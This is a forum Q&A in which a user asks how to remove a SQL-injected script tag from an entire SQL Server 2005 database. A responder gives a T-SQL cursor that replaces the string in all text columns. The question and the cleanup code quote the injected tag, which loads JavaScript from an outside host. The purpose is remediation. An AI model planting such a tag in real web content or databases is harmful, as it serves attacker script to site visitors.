Writing a SQL Query

25 pts.
Tags:
SQL Query
SQL Server 2005
Is it possible to write a query that goes through the entire database to search out a particular phrase to delete it, instead of going table by table? This is on a SQL 2005 Database that was injected. The following appears throughout the database tables: <script src=http://www.jic2.ru/script.js></script> This appears all over in different tables exactly as above. So my database is currently limping. Can anyone help me? Thanks Bosco

Answer Wiki

Thanks. We'll let you know when a new response is added.

This SQL Code should do the trick for you.

<pre>
DECLARE @sql NVARCHAR(4000)
DECLARE cur CURSOR FOR
select 'update [' + schema_name(sys.tables.schema_id) + '].[' + object_name(sys.tables.object_id) + ']
set [' + sys.columns.name + '] = replace([' + sys.columns.name + '], ''<script src=http://www.jic2.ru/script.js></script>'', '''')'
from sys.columns
join sys.tables on sys.columns.object_id = sys.tables.object_id
and sys.tables.is_ms_shipped = 0
where system_type_id in (35, 98, 99, 167, 175, 231, 239, 241, 231)
OPEN cur
FETCH NEXT FROM cur INTO @sql
WHILE @@FETCH_STATUS = 0
BEGIN
exec (@sql)
FETCH NEXT FROM cur INTO @sql
END
CLOSE cur
DEALLOCATE cur

</pre>

It does through all columns which are text columns and update them.

You may also find the article: Secure SQL Server from SQL injection attacks handy.

Discuss This Question: 5  Replies

 
There was an error processing your information. Please try again later.
Thanks. We'll let you know when a new response is added.
Send me notifications when members answer or reply to this question.

REGISTER or login:

Forgot Password?
By submitting you agree to receive email from TechTarget and its partners. If you reside outside of the United States, you consent to having your personal data transferred to and processed in the United States. Privacy
  • Denny Cherry
    Check out my SQL Server blog "SQL Server with Mr Denny" for more SQL Server information.
    66,010 pointsBadges:
    report
  • Bosco322
    this code did not work
    25 pointsBadges:
    report
  • Denny Cherry
    What error message did it give you?
    66,010 pointsBadges:
    report
  • Denny Cherry
    The error that I got was on the system tables. I've tweaked the code and updated it above to remove these errors.
    66,010 pointsBadges:
    report
  • Denny Cherry
    I forgot to mention, this will throw an error for any columns which are of the TEXT or NTEXT datatypes. If you are using these data types let me know, and I'll throw some code together to deal with these. Those data types are much more complex to handle.
    66,010 pointsBadges:
    report

Forgot Password

No problem! Submit your e-mail address below. We'll send you an e-mail containing your password.

Your password has been sent to:

To follow this tag...

There was an error processing your information. Please try again later.

REGISTER or login:

Forgot Password?
By submitting you agree to receive email from TechTarget and its partners. If you reside outside of the United States, you consent to having your personal data transferred to and processed in the United States. Privacy

Thanks! We'll email you when relevant content is added and updated.

Following